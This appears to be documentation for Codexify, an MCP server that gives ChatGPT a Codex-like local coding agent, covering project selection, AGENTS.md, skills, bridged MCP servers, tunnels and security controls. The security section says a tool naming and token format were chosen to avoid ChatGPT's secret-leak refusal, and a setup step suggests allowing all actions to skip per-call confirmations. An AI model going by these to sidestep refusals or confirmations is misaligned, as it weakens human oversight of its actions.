In single-project mode, instructions is rebuilt for every MCP session, so a new conversation opens with the saved plan and notes already in front of it, under a ## Saved state heading between the environment and AGENTS.md. In multi-project mode the initialize-time instructions deliberately remain project-neutral: ChatGPT supplies its stable conversation identifier on tool calls, after the MCP initialize exchange. Calling get_agent_brief restores an existing conversation binding automatically; for a new conversation it reports that set_project_root is required and directs the agent to list_projects when the exact path is unknown. After binding, get_agent_brief returns the environment, saved state, skills, and AGENTS.md for the selected project. If the client ignores instructions, one recall gets the same saved state after selection.

The division of labour is worth keeping straight: AGENTS.md is what is true of the project and belongs in the repo; notes are what is true of the task in flight and belong here.

Acting as a Codex agent

A tool list says what a model can do; the server's instructions add the operating rules for how to use those tools. The agent brief is derived from codex-rs/core/gpt-5.2-codex_prompt.md.

That brief is what stops the client rewriting a file it never read, reverting your uncommitted work, reaching for git reset --hard, or making a one-step plan. It carries Codex's editing constraints (ASCII by default, comments only where they earn their place, apply_patch over rewrites, and the dirty-worktree rules in full), its planning rules, its code-review posture, and its habit of reporting back concisely without pasting files you already have on disk.

The initialize response layers these sources in precedence order:

1. The agent brief — how to behave.
2. The environment — OS, shell, work directory, command policy.
3. Saved state — the plan and notes left by earlier work, when there are any. See Context and memory.
4. The skill catalogue — what this project and this user already know how to do, when any is installed. See Skills.
5. AGENTS.md — the project speaking for itself, behind the --- project-doc --- marker.

CLI-renderer-specific prompt rules are omitted: search is already exposed through grep/glob, and MCP clients render their own markdown and file references.

Starting a chat

instructions is the proper channel, but no client is obliged to show it to its model, and ChatGPT Web is not reliable about it. get_agent_brief returns the identical string, so one line is enough to onboard a conversation:

Call get_agent_brief and follow it for the rest of this chat.

Task: <what you want done>

Everything else — the shell you're on, the allowlist, your repo's AGENTS.md — arrives with that one call. If a chat starts drifting back into generic-assistant behaviour, asking for the brief again re-anchors it.

For a new chat in multi-project mode with an exact path, select before requesting the brief:

Call set_project_root with path "my-project", then call get_agent_brief and follow it for the rest of this chat.

Task: <what you want done>

The path may be relative to the configured access root or absolute, but its canonical target must be an existing directory inside that root. The binding belongs to the ChatGPT conversation, not to the current HTTP/MCP transport, so simultaneous chats may select different projects and later turns recover their respective project roots after reconnects or server restarts. A conversation cannot switch roots after binding; start another chat for another project. Calling set_project_root again with the same canonical path is harmless.

An exact Git repository URL uses the same tool and clones only when no matching checkout exists:

Call set_project_root with path "https://github.com/owner/repository", then call get_agent_brief and follow it for the rest of this chat.

Task: <what you want done>

For non-GitHub providers, pass the clone URL ending in .git, for example
https://gitlab.com/group/repository.git or [email protected]:group/repository.git.

To enter an exact branch, PR, or commit instead of the repository's default
checkout, pass the corresponding GitHub page URL unchanged, for example
https://github.com/owner/repository/tree/split_db or
https://github.com/owner/repository/pull/886. Commit URLs use the full object ID,
for example https://github.com/owner/repository/commit/c8cae44bf004a6ac6bfc267c5dfe503d57652103.

When the task names a project by intent rather than an exact path, let the agent search first:

Call list_projects with a query derived from the task. If exactly one candidate is unambiguous, pass its selector to set_project_root; otherwise ask me which project I mean. Then call get_agent_brief and follow it for the rest of this chat.

Task: <what you want done>

On a later turn in an already-bound chat, the path does not need to be repeated:

Call get_agent_brief and follow it for the rest of this task.

Task: <what you want done>

Only project identity is conversation-persistent. A live exec_command process and its numeric session_id remain tied to the current MCP transport and are deliberately discarded when that transport closes; stale process handles are not resurrected on a later follow-up.

Shells and the host

Windows, macOS and Linux are supported natively. Which shell runs is decided by name, not by host platform:

Shell	Invoked as
sh, bash, zsh, anything else	<shell> -c "<cmd>"
powershell, pwsh	<shell> -NoProfile -Command "<cmd>"
cmd	cmd /c "<cmd>"

The default comes from $SHELL on every platform, so starting the server from Git Bash on Windows gets bash — with real ls -la, pipes and $VAR — rather than PowerShell. Set exec.defaultShell to override, or pass shell on an individual exec_command call.

Two Windows-specific details are handled: powershell -Command collapses every non-zero child exit code to 1, so commands are wrapped to re-raise $LASTEXITCODE; and exec_command's description gains Codex's PowerShell rules (-LiteralPath over -Path, -WindowStyle Hidden) when the server runs there.

Because the resolved shell decides what a command should even look like, it is published three ways — a client only has to read one of them:

• instructions in the initialize response, as the Environment section of the agent brief.
• exec_command's description, which names the actual shell binary and its syntax family.
• get_environment, for clients that read neither.

AGENTS.md

A project's AGENTS.md tells the agent its conventions — which test command to run, which files not to touch, how commits should look. Codexify discovers it using the algorithm from codex-rs/core/src/agents_md.rs.

In single-project mode, discovery walks up from --work-dir to the nearest directory holding a root marker (.git by default), then collects one doc per directory on the way back down, so a monorepo's root conventions arrive before the ones belonging to the subdirectory you pointed the server at. In multi-project mode the selected directory is treated as the exact project root and discovery never reads an access-root parent, preventing instructions from one sibling project or the common parent from leaking into another session. In each directory considered, AGENTS.override.md wins over AGENTS.md, which wins over anything in projectDoc.fallbackFilenames. The files are concatenated outermost-first under a shared 32 KiB budget, counted in bytes rather than characters; a file that runs past what is left is cut there and reported as truncated, and whitespace-only files are skipped without spending any of it. If no marker is found anywhere above in single-project mode, only the work directory itself is checked.

Like the environment, the result is published more than one way:

• instructions carries the doc inline, behind Codex's own --- project-doc --- separator. Everything past that marker is the project speaking, and it outranks the agent brief above it.
• get_project_doc returns the identical text for clients that never read instructions, along with the absolute path of every file it came from and whether each was truncated.

Instructions are built per MCP session, so editing AGENTS.md takes effect on the next connection without restarting the server.

Skills

AGENTS.md says what is true of the project always. A skill says how to do one recurring task well — cut a release, review a PR the way this team reviews PRs, debug the flaky suite — and is only read when that task comes up. Codexify uses the SKILL.md format and discovery model from codex-rs/ext/skills and codex-rs/skills.

A skill is a directory holding a SKILL.md whose YAML frontmatter names it and says when it applies:

.agents/skills/
└── release/
    ├── SKILL.md
    ├── references/versioning.md
    └── scripts/tag.sh

---
name: release
description: Cut and publish a release of this project
---

1. Check `cargo test` and `cargo clippy` are clean.
2. Bump the version in `Cargo.toml`.
3. Run `scripts/tag.sh`; see `references/versioning.md` for what the tag must look like.

description is required — it is the only thing the model sees before deciding whether the skill is worth reading. name defaults to the directory name. metadata.short-description is optional. A skill whose frontmatter cannot be used is reported by skills_list rather than silently dropped, because the author meant it to be there.

Where they are found, in precedence order:

Scope	Directories
repo	.agents/skills, .codex/skills and .claude/skills, in every directory from the project root down to the active work directory; in multi-project mode the selected directory is the exact project root
user	~/.agents/skills, ~/.codex/skills and ~/.claude/skills, or whatever skills.dirs names instead
plugin	Enabled installed OpenAI Codex plugin skills under the active ~/.codex/plugins/cache/<marketplace>/<plugin>/<version> package, plus installed Claude Code plugin skills under ~/.claude/plugins/cache/<marketplace>/<plugin>/<version>/skills/*

Repo skills come first, so a project decides how a name behaves inside it; a personal skill of the same name is shadowed and skills_list says so rather than merging the two.

Plugin skills. Codexify mirrors Codex's local plugin-skill discovery. It reads enabled [plugins."<plugin>@<marketplace>"] entries from the Codex user config.toml, resolves the same active cache version (local wins; otherwise Codex's semver/lexical ordering), and reads the plugin manifest rather than assuming every cache entry has a skills/ directory. Legacy manifests can declare one or more skill roots and are searched recursively; current Agent Plugin manifests use the conventional direct-child skills/ layout. Legacy migrated-command skills are included too, and [[skills.config]] name/path disable rules are honored. Plugin skills use the manifest namespace as <plugin>:<skill>. Codexify also retains compatible Claude Code plugin discovery, using the highest installed Claude plugin version. Turn all plugin-skill discovery off with "skills": { "includePlugins": false }. Setting skills.dirs overrides the standalone roots and, by default, disables plugin discovery too — set includePlugins: true alongside dirs to keep it.

What the model sees. The catalogue — a name and a description per skill — goes into the project-aware brief under a ## Skills heading. In single-project mode that is available at initialization; in multi-project mode it arrives from get_agent_brief after selection. Bodies are not loaded: skills_read fetches one only once a skill has actually been chosen. That is the progressive disclosure that makes a large library affordable on a small context window. The section is omitted entirely when nothing is installed.

Reaching the rest of a package. Reference files, scripts and assets are read with skills_read and the skill's name, passing the file's path as resource. read_file will not do: it is confined to the active project root, and user- and plugin-scope skills live in your home directory. Paths inside a skill are relative to the skill's own directory, and a resource that tries to leave it is rejected — so the only thing this opens up is the inside of a skill you or the project deliberately installed. Reading a SKILL.md lists the package's other files, since the model cannot glob a directory it cannot see.

Discovery runs per MCP session, so adding a skill takes effect on the next connection without restarting the server. Set skills.enabled to false to turn the whole thing off.

Bridging other MCP servers

Codexify can also act as an MCP aggregator: it connects to local stdio or remote Streamable HTTP MCP servers as a client and materializes their complete paginated tools/list catalogues at startup. Catalogue ownership and model exposure are separate. A server can keep its transitive tools private behind a fixed progressive-disclosure surface, expose each tool directly, or use a one-tool gateway.

Exposure modes and defaults

mode	Default provenance	Downstream exposure
"catalog"	Servers automatically imported from Codex config.toml or the Codex CLI/plugin catalogue	The complete filtered catalogue stays private. All catalog-mode sources share four fixed tools: mcp_list_sources, mcp_search_tools, mcp_get_tool, and mcp_call_tool
"direct"	A standalone entry declared only in codexify.config.json.mcpServers	Every selected upstream tool becomes <server>__<tool>
"gateway"	Never implicit; explicit opt-in only	The server becomes one { function, arguments } dispatcher plus a generated skill containing every function schema

The default is based on provenance, not a tool-count threshold. Automatically imported Codex/plugin servers use catalog mode even when they expose only a few tools. Standalone explicit entries use direct mode by default. An explicit entry that overlays an imported server inherits that imported provenance; set mode in the overlay to choose another exposure.

To expose every imported tool directly:

{
  "mcpServers": {
    "idasql": { "mode": "direct" }
  }
}

To keep a standalone explicit server out of the connector capability catalogue:

{
  "mcpServers": {
    "remote-docs": {
      "url": "https://mcp.example.com/mcp",
      "mode": "catalog"
    }
  }
}

tools and disabledTools are applied to raw upstream tool names before any mode is materialized. The fixed catalog tools and every direct/gateway proxy are project-independent: they remain callable before project selection in multi-project mode, subject to any configured conversation-authorization gate.

Automatic discovery from Codex

Codexify reads $CODEX_HOME/config.toml when CODEX_HOME is set, otherwise ~/.codex/config.toml. The file is read only. This parser imports user-configured MCP servers without requiring a codex executable. MCP-server import does not apply Codex's project-local configuration layers or project trust decisions; project catalogue discovery is a separate consumer of the same user-level file.

For each [mcp_servers.<name>] entry, Codexify imports the fields it can preserve:

• command, args, env and cwd for local stdio launch;
• local env_vars, resolved from Codexify's process environment;
• url for Streamable HTTP;
• bearer_token_env_var, http_headers, and env_http_headers for HTTP authentication and request headers;
• startup_timeout_sec, startup_timeout_ms, and tool_timeout_sec;
• enabled = false as a disabled upstream;
• enabled_tools as an allow-list and disabled_tools as a deny-list applied afterwards.

By default, Codexify also tries codex mcp list --json. Servers present in Codex's effective catalogue but absent from config.toml are fetched with codex mcp get <name> --json so plugin-provided enablement and tool allow/deny lists are preserved. The executable is selected from codexMcp.cliPath, then CODEX_CLI_PATH, then codex on PATH. Each invocation is bounded to 30 seconds and 4 MiB of stdout, and its JSON is parsed in memory without logging literal environment values. Both directly parsed and CLI/plugin imports carry imported provenance and therefore default to catalog exposure.

When the CLI is missing, fails, times out, or returns incompatible JSON, normal startup continues with the direct config.toml result and prints a warning that plugin-provided MCP servers may be missing. Pass --codex-cli to make successful CLI discovery mandatory instead; the same condition then becomes a startup error. Set "codexMcp": { "useCli": false } to suppress CLI invocation while retaining direct config parsing.

Non-local execution environments are unsupported: Codexify itself opens the HTTP connection and cannot delegate header resolution or stdio launch into a Codex executor. http_headers_helper is also unsupported. Other Codex-only fields are ignored explicitly: the startup report names those fields, but never prints header values, environment values, or bearer tokens. A missing or unreadable Codex config does not prevent CLI-discovered or explicitly declared codexify.config.json servers from loading.

Disable discovery while retaining explicit upstreams with:

{
  "codexMcp": { "enabled": false },
  "mcpServers": {}
}

To keep direct Codex config import but never start the Codex CLI:

{
  "codexMcp": { "enabled": true, "useCli": false }
}

Explicit servers and overrides

The mcpServers map in codexify.config.json declares explicit upstream servers. A local entry is a stdio command that Codexify launches and drives over stdin/stdout. A standalone entry with no mode uses direct exposure:

{
  "mcpServers": {
    "idasql": {
      "command": "idasql-mcp",
      "args": ["--stdio"],
      "env": { "IDA_PATH": "C:/Program Files/IDA" }
    }
  }
}

A remote entry uses MCP Streamable HTTP. Secret values should come from environment variables rather than the JSON file:

{
  "mcpServers": {
    "remote-docs": {
      "url": "https://mcp.example.com/mcp",
      "bearerTokenEnvVar": "REMOTE_MCP_TOKEN",
      "httpHeaders": {
        "X-Client": "codexify"
      },
      "envHttpHeaders": {
        "X-Tenant": "REMOTE_MCP_TENANT"
      },
      "startupTimeoutSec": 20,
      "toolTimeoutSec": 60
    }
  }
}

bearerTokenEnvVar is required to exist and be non-empty when configured. Missing or empty values referenced by envHttpHeaders are omitted, matching Codex. Environment-backed headers override a same-named static header. Do not configure both bearerTokenEnvVar and an Authorization entry in httpHeaders/envHttpHeaders.

An explicit entry with the same name as an imported Codex server is a field-by-field overlay. That makes Codex-specific launch settings reusable while adding bridge-only settings without copying the command, arguments or environment:

{
  "mcpServers": {
    "remote-exec": {
      "mode": "gateway",
      "tools": ["exec", "machine_list"]
    }
  }
}

Set an empty array or object to replace an imported collection with an empty one. Explicit command and url fields replace the imported transport rather than producing a mixed configuration.

At startup you'll see, e.g.:

Codex MCP config discovery: /home/user/.codex/config.toml
  idasql -> imported from Codex config
Codex CLI MCP discovery: codex
  idalib -> imported from Codex CLI (not present in config.toml)
Codex MCP overrides:
  remote-exec -> imported fields overlaid by codexify.config.json
Tools loaded (36): 32 native + 4 upstream-facing MCP tools
Upstream MCP servers:
  idalib      -> catalog (66 private tool(s))
  idasql      -> catalog (12 private tool(s))
  remote-exec -> gateway (2 functions via `remote_exec`)

An upstream that fails to launch, connect, authenticate, or answer is skipped; it never blocks startup or the native tools. Every configured server is reported, so a bad path or failed handshake is not silent.

Catalog mode (default for automatic imports)

Catalog mode keeps every filtered upstream definition private while downstream tools/list receives only a small fixed surface:

Tool	Contract
mcp_list_sources	List or filter catalog-mode systems. Results include a unique model-facing source ID, the raw configured server name, provenance, transport, tool count, upstream implementation metadata, and initialization instructions when supplied
mcp_search_tools	BM25-ranked full-text search over source/server metadata, model-facing and raw tool names, title, description, and recursively useful input/output-schema property names, descriptions, required names, and enum values. It can be restricted to one source ID
mcp_get_tool	Return one exact upstream tool definition, including its separate model-facing ID and raw name, title, description, input/output schemas, annotations, icons, and _meta
mcp_call_tool	Invoke the selected source/tool ID with an arguments object. Dispatch resolves the original server and raw tool name exactly

A typical agent flow is mcp_list_sources once when it needs to learn the available systems, mcp_search_tools with task-specific terminology, mcp_get_tool for the selected match when its exact schema or side-effect metadata matters, then mcp_call_tool. Search returns compact summaries rather than every schema, so a 66-tool IDA server contributes only these four fixed connector capabilities.

Model-facing IDs are sanitized and collision-disambiguated independently from raw names. The raw server/tool strings are never reconstructed from those IDs; dispatch uses the stored originals. This matters for names such as rename-function and rename_function, which can normalize to the same identifier but remain distinct upstream calls.

Forwarded calls preserve upstream text blocks, images, structured content, the tool-error flag, and result _meta. Configured tool timeouts use RMCP cancellable requests, and cancellation of the downstream ChatGPT/MCP request is forwarded upstream. Unsupported content-block variants are retained through the existing JSON-text fallback rather than discarded.

The generic dispatcher cannot reproduce the selected upstream tool's host-level approval semantics in ChatGPT because its downstream annotations are fixed before source and tool are known. mcp_call_tool therefore advertises conservative potentially-destructive/open-world hints. The agent can inspect the selected tool's exact annotations through mcp_get_tool, but the connector host still approves the generic dispatcher as one capability. Use direct mode when per-tool connector annotations and approval boundaries are required.

The private catalogue is a startup snapshot. Dynamic upstream tools/list_changed notifications are not projected into the fixed surface; restart Codexify to rematerialize a changed catalogue.

Direct mode

With "mode": "direct", each upstream tool becomes a BridgedTool named <server>__<tool> (sanitized to [A-Za-z0-9_], so remote-exec becomes remote_exec__exec). Calls use the tool's stored raw upstream name, not the downstream identifier. Input/output schemas, title, icons, _meta, and every upstream annotation field are preserved in downstream tools/list; omitted safety hints are materialized with MCP defaults so the descriptor is complete. Text, images, structured content, error state, and result metadata pass through on calls. A downstream name colliding with a native or already registered tool is skipped with a warning.

Direct mode places every selected schema in the connector capability catalogue. Use tools/disabledTools to curate it when full exposure is unnecessary.

Gateway mode

mode: "gateway" exposes a whole server as one dispatcher tool plus a generated skill.

{
  "mcpServers": {
    "remote-exec": {
      "mode": "gateway"
    }
  }
}

For an upstream imported from Codex, the overlay alone is sufficient; an upstream declared only in codexify.config.json also needs its launch fields. Gateway mode registers one sanitized tool named remote_exec taking { "function": "<name>", "arguments": { ... } }, and generates a skill (skills_read name="remote-exec") documenting every raw function and argument schema. An 84-tool server therefore shows up as one tool plus one skill. This mode does not provide ranked search, exact per-tool metadata retrieval, or per-tool connector approval semantics; catalog mode provides those capabilities with the same compact connector surface.

Common transport and filtering behavior

• disabled: true keeps an entry configured but skips it (reported as -> disabled).
• tools: ["exec", "machine_list", ...] is an allow-list over raw upstream names.
• disabledTools: ["dangerous_write", ...] removes tools after the allow-list.
• cwd selects a stdio child process's working directory.
• startupTimeoutSec bounds initialization plus complete paginated tools/list; the default is 20 seconds.
• toolTimeoutSec bounds each forwarded call and sends MCP cancellation when the limit expires.
• type is inferred: command means "stdio", while url means Streamable HTTP. Explicit HTTP aliases "http", "streamable-http", and "streamable_http" are accepted.
• SSE and WebSocket transports are rejected; supported upstream transports are stdio and Streamable HTTP.

OAuth authorization-code login and credential persistence are not implemented by this bridge. An OAuth-protected upstream must therefore be supplied a usable bearer token through bearerTokenEnvVar or an environment-backed Authorization header. Resource links returned by bridged tools are proxied in direct, gateway, and catalog modes: Codexify replaces the upstream URI with a short-lived random codexify://upstream-resource/... capability, and a downstream resources/read is forwarded to the originating upstream peer with caller cancellation and the configured egress size/TTL/reference bounds. The downstream link and returned ResourceContents.uri fields use only the opaque Codexify capability rather than the upstream routing URI. Upstream resources/list, resource templates, prompts, and subscriptions are not otherwise aggregated. Catalog mode reports upstream initialization instructions as source metadata, but does not inject them into Codexify's own initialization instructions.

If your server doesn't show up, check the banner first — the most common cause is a wrong command path.

Connecting to ChatGPT

With the native OpenAI tunnel

1. In ChatGPT, enable Developer mode.
2. Configure openaiTunnel, export the referenced runtime key, and start Codexify. Keep the process running for connector discovery and every tool call.
3. In ChatGPT's connector/plugin settings, create a developer-mode connector with Connection type: Tunnel.
4. Select the same tunnel ID that Codexify reports as ready. Set Authentication to None.
5. Set the connector's permissions to Allow all actions if you do not want per-call confirmations.
6. Enable the connector in a new chat. Without conversation authorization, open with Call get_agent_brief and follow it for the rest of this chat. With conversationAuthToken, first supply the one-line setup instruction from Optional per-conversation authorization; after authorization succeeds, follow its project-selection or get_agent_brief direction. In multi-project mode (--multi-project), call set_project_root first when an exact path, HTTPS/SSH .git repository URL, or supported GitHub repository, branch, pull-request, or commit URL is known, or list_projects first when only the local project identity is known; later follow-ups in that same chat recover both authorization and the project binding from ChatGPT's conversation metadata.

There is no server URL to enter in this mode. OpenAI routes the selected tunnel to the supervised client, which supplies Codexify's generated per-process bearer on the local hop. The startup banner prints the runtime-only /readyz and /metrics URLs. It does not advertise an admin UI because tunnel-client-runtime deliberately omits that full-client surface.

With an externally managed tunnel

1. Start Codexify without openaiTunnel (add --work-dir /path/to/projects --multi-project for one connector shared across projects).
2. Put an authenticated reverse proxy or tunnel in front of port 3000.
3. Create a URL-based developer connector/plugin whose server URL is the resulting HTTPS URL with /mcp appended.
4. Configure the connector authentication supported by the client, and enforce access controls at the proxy/tunnel layer.

For example, ngrok http 3000 is sufficient for a disposable connectivity test, but an unprotected public URL is not an appropriate long-lived deployment. Use provider access policies, source restrictions, mTLS, OAuth, or another control appropriate to the deployment. The --api-key option is useful for MCP clients that can send a static bearer token; ChatGPT's connector authentication choices may not support that form directly.

Host allowlist

Without openaiTunnel, allowedHosts is empty by default, which accepts any Host header so an externally managed proxy can present an arbitrary hostname. Set it to a list of hostnames to enable DNS-rebinding protection: only requests whose Host header matches are served.

Native tunnel mode ignores allowedHosts and forces the accepted authorities to 127.0.0.1, localhost, and ::1. It also binds only 127.0.0.1 and removes the permissive CORS layer. These restrictions are part of the mode rather than optional hardening.

Security

• Self-update is an explicit privileged operation: self_update is advertised as destructive and open-world, requires confirm=true, and accepts only the standard installed executable. Downloads are bounded and SHA-256-verified against the selected GitHub release before any service interruption. The detached worker is a generated private file with fixed arguments; it retains a rollback executable until replacement validation and service restart complete.
• Path traversal prevention: every filesystem tool — including apply_patch and view_image — resolves paths through a guard that rejects anything outside the active project root. In multi-project mode, both catalogue discovery and set_project_root canonicalize the configured access root and candidate directory, so .. and symlinks cannot expose or bind a project outside the access root.
• Stable server-config authority: the implicit config is user-scoped at ~/.codexify/codexify.config.json, so changing the launch directory does not change command, MCP-server, network, tunnel, or worktree policy. --config and CODEXIFY_CONFIG are explicit overrides.
• Bounded Git cloning and GitHub target fetching: URL-based project selection accepts provider-agnostic HTTPS/SSH repository URLs ending in .git, plus GitHub repository roots and HTTPS branch, PR, and full commit URLs. Normalized remote identity lets conventional hosting-service SSH forms such as git@host:group/repository.git reuse their HTTPS checkout while keeping arbitrary SSH users and custom-port endpoints distinct. Credential-bearing HTTPS URLs, local/file transports, HTTP, git://, query strings, fragments, and unsupported GitHub subpages are rejected, and interactive Git credential prompts are disabled. The configured clone directory is canonicalized inside the access root at startup and revalidated at use time. Resolution uses per-repository cross-process locks, bounded subprocess timeouts, private temporary clone destinations, remote verification, exact GitHub branch/PR refspecs or full commit object IDs, and collision refusal. Existing source checkouts are fetched without moving HEAD; a conversation already bound to another selection is rejected before the network/disk side effect.
• Host-authorized native-file ingress: import_host_file accepts only ChatGPT's declared native-file object, rejects local source paths, constrains the download URL and every redirect hop to the configurable artifactIngress.allowedHosts allowlist (default "*", which admits any public HTTPS host but never a loopback, private, link-local, unique-local, CGNAT, localhost, or metadata address), ignores ambient proxy credentials, and enforces whole-request, idle, size and concurrency limits. Its signed URL and file ID are never logged or returned: RMCP debug/trace payload logging is unconditionally suppressed even when RUST_LOG requests it. Destination publication uses a capability-confined directory handle, canonical-path and file-identity revalidation, a private partial file, SHA-256, and atomic no-overwrite linking so traversal, moved roots, symlink escapes, partial visibility and replacement races fail closed.
• Bounded durable native-file egress: export_host_file accepts only a relative regular-file path inside the active project, opens it through a capability-confined directory handle without following the final symlink/reparse point, rejects traversal and escapes, enforces artifactEgress.maxFileBytes before and during streaming, and returns an original SHA-256 receipt plus a standard MCP resource link. The link carries a random 256-bit opaque capability rather than a local path. A private versioned record survives service restarts; eligible immutable snapshots share a global per-user LRU disk budget controlled by snapshotMaxFileBytes and maxSnapshotBytes. After snapshot eviction, fallbackToSource can serve the latest safe file only after revalidating the recorded root and relative path. Audit output records only the number of resource links, never their capabilities or filenames.
• Bounded transitive resource egress: a resource_link returned by any bridged MCP tool is never passed downstream with its upstream URI. Codexify replaces it with a random 256-bit codexify://upstream-resource/... capability tied to that exact upstream peer and URI. resources/read forwards through the existing authenticated MCP transport, propagates downstream cancellation, applies the upstream tool timeout, enforces artifactEgress.maxFileBytes against advertised and actual content size, rewrites returned content URIs back to the opaque capability, and expires/evicts mappings according to the configured TTL/reference bounds.
• One bounded exception in single-project mode: AGENTS.md discovery may read above --work-dir, up to the nearest .git. It is read-only, opens only AGENTS.override.md, AGENTS.md and any projectDoc.fallbackFilenames, and get_project_doc reports the absolute path of every file it used. Set projectDoc.maxBytes to 0 to switch it off, or projectDoc.rootMarkers to [] to keep the search inside the work directory. Multi-project mode does not perform this upward walk; its selected directory is the exact project root.
• Namespaced diff state inside Git: ChatGPT diff checkpoints are exactly two refs per conversation/project pair under refs/codexify/diff/. Synthetic snapshots contain only the selected project path, are built through a temporary index, and never modify the real index or working tree. Generic MCP-client checkpoints are in memory only. Existing refs/codexify/review/ checkpoints are migrated lazily into the diff namespace. The namespace grows with the number of distinct persistent conversation/project pairs; the diff section documents inspection and manual removal.
• Bounded state writes outside the work directory: remember and update_plan write memory.json under ~/.codexify/projects/. Multi-project mode also writes one small project-binding record under ~/.codexify/conversation-projects/ for each ChatGPT conversation and access root. Per-conversation authorization writes a small marker under ~/.codexify/conversation-authorizations/. Native file export writes durable capability records and an LRU-bounded immutable snapshot pool under ~/.codexify/artifacts/; records remain after snapshot eviction so old conversation links can use source fallback. Binding and authorization filenames are derived from a hash of openai/session; the raw identifier is not stored. Authorization namespaces include a one-way digest of the canonical work directory and configured token, while marker contents store only the grant. Set memory.enabled to false to disable plans and notes; set artifactEgress.enabled to false to disable new native exports and bridged resource proxying. Delete only state whose capabilities or bindings you intentionally want to invalidate. See Context and memory.
• Bounded reads outside the work directory: skills may live in ~/.agents/skills, ~/.codex/skills, ~/.claude/skills, or an enabled installed Codex/Claude Code plugin. Codex plugin discovery reads only Codex's user config, active plugin-cache package, manifest, and declared skill roots; skills_read then opens files only inside a discovered skill package. Its resource path is checked against the skill's own directory, so it cannot walk out into the rest of your home directory. skills_list reports the absolute path of every skill it found. Set skills.enabled to false to switch it off, skills.includePlugins to false to suppress plugin packages, or skills.dirs to point the standalone user scope somewhere you choose.
• Read-only Codex configuration discovery: MCP import and the project catalogue read the user-level Codex config.toml without rewriting it. Project discovery inspects only the top-level projects table, does not read candidate project contents, and suppresses rejected absolute paths from MCP output. Set projectCatalog.codexConfig.enabled to false to disable that provider. Native Codex trust does not override the Codexify access-root boundary.
• Command execution policy: exec_command is unrestricted by default, matching the requested Codex-like local-agent behavior. Operators who want a guardrail can set exec.mode to "allowlist"; in that mode every command position in the shell string is checked against the complete exec.extraAllowedCommands list. This is a guardrail, not a sandbox: an allowed interpreter can still execute arbitrary code.
• Bridged servers carry delegated authority: an explicit mcpServers entry or an automatically imported Codex MCP—including one contributed by a Codex plugin—can receive model-directed calls. A stdio upstream launches a real process that runs as your OS user; a Streamable HTTP upstream receives calls plus its configured bearer token and HTTP headers. Catalog mode reduces connector-schema exposure, not runtime authority: mcp_call_tool can still dispatch any filtered catalogue entry. Only bridge servers you trust, use tools/disabledTools to narrow callable operations, prefer catalog mode to keep transitive schemas private, keep secrets in bearerTokenEnvVar/envHttpHeaders rather than static JSON, set codexMcp.useCli to false to exclude plugin-only discovery, or set codexMcp.enabled to false to disable all automatic Codex import. Launch, connection, authentication, and handshake failures are reported rather than silently ignored.
• Native OpenAI tunnel is outbound-only: Codexify binds its MCP listener to loopback and supervises OpenAI's official runtime-only tunnel client. Startup fails unless the runtime reports /readyz and completes a control-plane poll. Failure of either process stops the other, and HTTP shutdown has a bounded grace period before remaining connections are aborted.
• The loopback MCP hop is authenticated: native mode generates a random per-process bearer token and configures the tunnel runtime to send it on MCP requests and discovery probes. The token is never printed, written to the config file, or inherited by model-launched commands and bridged MCP children.
• Optional conversation-level authorization: conversationAuthToken blocks all tools except the deliberately innocuous setup wire tool until the stable ChatGPT conversation presents the configured authentication token as ref. Successful grants persist by hashed conversation identity and are invalidated by token rotation; clients without openai/session get transport-only grants. Initialization withholds the project-aware brief until authorization succeeds. The setup(ref) naming and SHA-256-shaped token avoid ChatGPT's false-positive connector secret-leak refusal; they do not make the token public or replace real authentication. This gate controls model conversations, not network callers: keep the native tunnel, reverse proxy, ChatGPT workspace, and local account secured independently. The token remains plaintext in codexify.config.json because the server must compare chat-supplied values, so keep that file private and out of version control.
• Verified tunnel-client installation: the managed client is pinned to a specific official release and per-platform archive SHA-256 embedded in Codexify, extracted by exact filename under size limits, installed atomically with private permissions, and hash-checked against its installation manifest on subsequent starts. Set clientPath to opt out of managed installation while retaining compatibility checks.
• Tunnel secrets are references, not config values: openaiTunnel.apiKeyRef accepts only env:NAME or file:/path; literal API keys are rejected. Codexify resolves the value and exposes it only to the tunnel child under a synthetic environment name, while the child receives a clean, allowlisted environment. Use a restricted runtime key with Tunnels Read + Use, not an admin key. Private key-file permissions are enforced on Unix. Same-user process inspection and same-user file access remain outside this boundary.
• Optional bearer token auth in non-native mode: set --api-key to require an Authorization: Bearer <key> header on all requests except /health. Native mode instead owns its private per-process bearer token. ChatGPT Plugins do not support simple bearer token auth for URL-based connectors.
• Host allowlist: set allowedHosts to pin the accepted Host header for DNS-rebinding protection. See Host allowlist.
• Tool payload logging is explicitly sensitive: toolLogging / --log-tool-payloads can retain source code, paths, commands, model output, and data returned by delegated MCP servers. Redaction removes configured and heuristically recognized credentials before byte-bounded truncation; MCP image content-block base64 and resource-link capability URIs are always omitted. Arbitrary sensitive literals still cannot be identified perfectly. Leave the mode off unless the operational visibility is worth that exposure, and protect the process logs accordingly.
• Audit records exclude payloads by default: --audit writes hashes, timings, result sizes, and redacted argument shape rather than source, file paths, credentials, or returned output. Command previews require a separate opt-in and remain potentially sensitive even after configured and heuristic redaction, so protect the audit file as operational data.

The allowlist is a guardrail against accidents, not a sandbox. It catches a model reaching for curl or rm -rf; it does not contain a determined one. The defaults already include node, python and cargo, each of which runs arbitrary code — node -e "..." can do anything the server process can. Shell redirection and explicit absolute or parent paths can also reach outside the active project root even though each command starts with that root as its cwd. Multi-project selection isolates Codexify's structured tools and logical per-conversation project state; it is not an operating-system sandbox. Treat everything below as reachable by whoever is authorized to use the configured connector or external endpoint:

• everything in the active project root, read and write
• in multi-project mode, any project beneath the configured access root can be selected by a new conversation or unbound transport session, and an exact supported Git repository URL can add a checkout beneath projectCloneDir; GitHub branch, PR, and commit URLs can additionally target exact revisions
• anything else the user account running the server can touch, via an allowlisted interpreter
• the network, from your machine
• anything a bridged MCP server can do

For clients without stable ChatGPT conversation metadata, exec_command
sessions are killed when the MCP transport closes. ChatGPT conversation-owned
sessions instead survive connector transport replacement and are killed by
exec.idleTimeoutMs or server shutdown. In either case the kill includes child
processes: taskkill /T /F walks the process tree on Windows, and on POSIX each
session gets its own process group that is signalled as a whole. A process that
deliberately re-parents or daemonises itself still escapes, so check for strays
if a run leaves something listening.

The native OpenAI tunnel removes the general public-URL exposure, but it does not reduce the authority of a successful tool call. Keep tunnel and connector permissions narrow, do not point Codexify at directories you do not trust the model with, and set exec.mode and the command allowlists tighter than the defaults when the work directory is sensitive. In multi-project mode, the entire access-root subtree is intentionally selectable, so treat the whole subtree as sensitive. For an external tunnel, require tunnel-level access control rather than relying on URL secrecy.

Dev commands

cargo run -- --work-dir /path/to/project   # run against a project
